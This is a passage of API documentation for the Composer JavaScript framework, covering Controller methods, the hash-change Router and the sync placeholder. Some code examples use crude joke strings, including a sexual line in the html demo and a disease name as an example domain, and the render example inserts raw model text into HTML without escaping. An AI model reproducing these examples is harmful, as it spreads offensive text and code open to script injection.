Event callbacks are parsed out of the events object and assigned to the appropriate HTML elements internally during controller initialization,
and whenever the replace method is invoked. You can also call
delegate_events to directly execute the event assignment logic.
Controller.render controller.render()
On its own, render does nothing but return this. As a good practice, render should be overridden with
functionality that actually displays the view, and it should always return this. Typically, render will call
Controller.html to set el's HTML content and
will modify any page styles as necessary. If you use a templating system, render is a good place to call out to it from.
render: function() {
list_item = '<li>' + this.model.get('item_text') + '</li>';
this.html(list_item);
if(MyApp.other_controller.selected_item_id() == this.model.id()) {
this.el.addClass('selected');
}
return this;
}
Controller.html controller.html(String text)
html replaces el's HTML content with the specified text and then
calls refresh_elements.
var DemoController = Composer.Controller.extend({
el: "#controller_demo_3",
className: 'active',
init: function() {
this.html('i have sex with animals');
}
});
var my_demo = new DemoController();
controller_demo_3
Please click the "Run Code" button above to activate this example.
Controller.release controller.release([Object options])
Removes the controller's view (el) from the DOM and triggers its release event
unless a {silent: true} is passed. el is destroyed unless a {dispose: true} option is passed,
in which case el is removed from the DOM but not necessarily from memory (if there are other references to el,
they would be maintained). In any case, el is set to false within the controller.
Controller.replace controller.replace(HTMLElement element)
Replaces el with another element and refreshes the controller's events and elements by
invoking delegate_events and
refresh_elements.
Controller.delegate_events controller.delegate_events()
Assigns event callback functions to the appropriate HTML elements as defined in the events object.
This is normally handled on controller initialization and replace, but can be directly invoked,
such as in cases where the events object is modified after controller initialization.
Controller.refresh_elements controller.refresh_elements()
Sets the HTML elements defined in the elements object to the appropriate controller properties.
This is normally handled on controller initialization, html and
replace, but can be directly invoked, such as in cases where the events object is
modified after controller initialization.
Router
Composer's Router automatically calls out to application functionality when hash change events occur, allowing you to control your application
using hyperlinks, but without the need to reload the page or wire up complicated event handlers. Router's implementation is simple: pass an
object containing URL patterns and their associated handler functions to its constructor, and it does the rest, setting up the hashchange
listen events and calling your handlers when they occur.
Router also includes get_param, a convenient function to get URL querystring parameter values, allowing
you to include optional parameters in the URL using the standard ?param1=val1¶m2=val2&... format.
constructor new Composer.Router([Object routes], [Object options])
This initializes Router to start listening for hash change events. routes is an object of the following format:
var routes = {
// path : [ handler, method]
'/': ['dashboard', 'load'],
'/users/login': ['users', 'load_login_form'],
'/users/logout': ['users', 'logout'],
'/posts/([a-f0-9]+)': ['blog', 'load_post']
}
When a hash change event occurs, Router will catch it and try to map the URL's hash to the path patterns in the routes
property names. When a match is found, the corresponding object/method is invoked. Any regular expression group matches within the path (the
portions contained within parentheses) are passed as parameters to the handler method. So, for example, the URL #!/posts/32a990e/prettyUrl
would match '/posts/([a-f0-9]+)/(.*)': ['blog', 'load_post'], which would effectively call
blog.load_post(32a990e, 'prettyUrl').
The following options may be passed:
-
redirect_initial:true|false(defaulttrue)If
truethe window will redirect to the hashed version of its URL whenRouteris initialized. For example, this would changehttp://gonorrhea.com/users/display/42tohttp://gonorrhea.com/#!/users/display/42. -
suppress_initial_route:true|false(defaultfalse)By default,
Routerwill fire a hash change event immediately after initializing to perform its initial route. You can suppress this behavior withsuppress_initial_route. -
enable_cb:function() { ... }(defaultfunction() { return true; })The function specified in
enable_cbis executed immediately when a hash change event occurs. If it returnsfalse, then no routing is performed for the event. By default,enable_cbis a function that simply returnstrue. By overriding this function, you can enable or disable routing depending on conditions in your app. -
on_failure:function([Object error]) { ... }(defaultfunction() {})Callback function that is executed when routing fails, such as in cases where there is no matching pattern in
routesfor the given URL. Information about the failure will be passed in theerrorobject and formatted as such:{ url: url, route: route|false, // false if no match found in routes handler_exists: true|false, action_exists: true|false }
Here is a basic example of Router in action.
var routes = {
'/users/login': ['users', 'load_login_form'],
'/posts/([a-f0-9]+)': ['blog', 'load_post']
}
// users handler
var users = {
login: function() {
alert('lol you are now logged in!');
// in a real app, we would ensure the user_login controller is
// loaded and render its view
}
};
// blog handler
var blog = {
load_post: function(post) {
alert('now loading post ' + post);
// in a real app, we would ensure the blog_post controller is
// loaded and render its view
}
}
new Composer.Router(routes, {
redirect_initial: false,
suppress_initial_route: true
});
routes demo
Clicking on these links will activate the routes defined in the above code block.
Router.register_callback router.register_callback(Function fn, [Object bind_to])
Registers a callback function that is executed whenever the route changes (either via a hash change or
by explicitly invoking Router.route). By default, callback functions are executed
within the scope of the Router instance. You can bind the callback to another scope by specifying a bind_to parameter.
The hash url (stripped of its leading !
[exclamation point]) is passed as the sole argument to each callback function.
my_router.register_callback(function(url) {
alert('If I were not popping up and annoying you, I would be routing to: '+ url);
});
Router.route router.route(String url)
Wrapper around the routing functionality. Basically, instead of doing a
window.location = '#!/my/route';, you can do router.route('#!/my/route');. This is a
more elegant way to change the route from within your application code.
sync
Composer's sync API is simply a placeholder for the server syncing code that you define. Composer assumes nothing about your data syncing
or server setup and leaves this to the application developer to implement. Some server-side APIs implement robust support for all HTTP methods, whereas
others only support GETs and POSTs. It's not our place to assume (or judge) anything about your particular approach. Rather
than try to provide a cumbersome "one size fits all" solution, we trust the developer to come up with an approach that works for his or her specific app.
In general, your implementation of sync should be able to perform an XMLHttpRequest, write data to the model or collection
depending on the response, and execute the success or error callbacks afterwards. For example, the sync invoked from
a Model.save might receive an id back from the server after the new record was successfully
recorded in the database. In this case, it would make sense to set the id back into the model before executing the success callback.
sync.call Composer.sync.call(String method, Object model_or_collection, [Object options])
The call method is called by any Composer method that reads or writes server data and needs to be overridden in order to do anything
useful (Specifically, call is invoked by Model.fetch,
Model.save, Model.destroy and
Collection.fetch).
Depending on the value of method, sync needs to either create, read, update, or
delete (CRUD) server data and execute callback functions upon success or failure. Accordingly, method will be a string of one of the
following values:
-
"create": corresponds to HTTPPOST, passed byModel.savewhen saving new model data to the server. -
"read": corresponds to HTTPGET, passed byModel.fetchandCollection.fetchwhen reading data from the server. -
"update": corresponds to HTTPPUT, passed byModel.savewhen updating model data on the server. -
"delete": corresponds to HTTPDELETE, passed byModel.destroywhen deleting model data from the server.
The second parameter for call is the model or collection being acted upon.
The options parameter defines the callback functions to execute on success or error. These are passed in properties called
success and error respectively.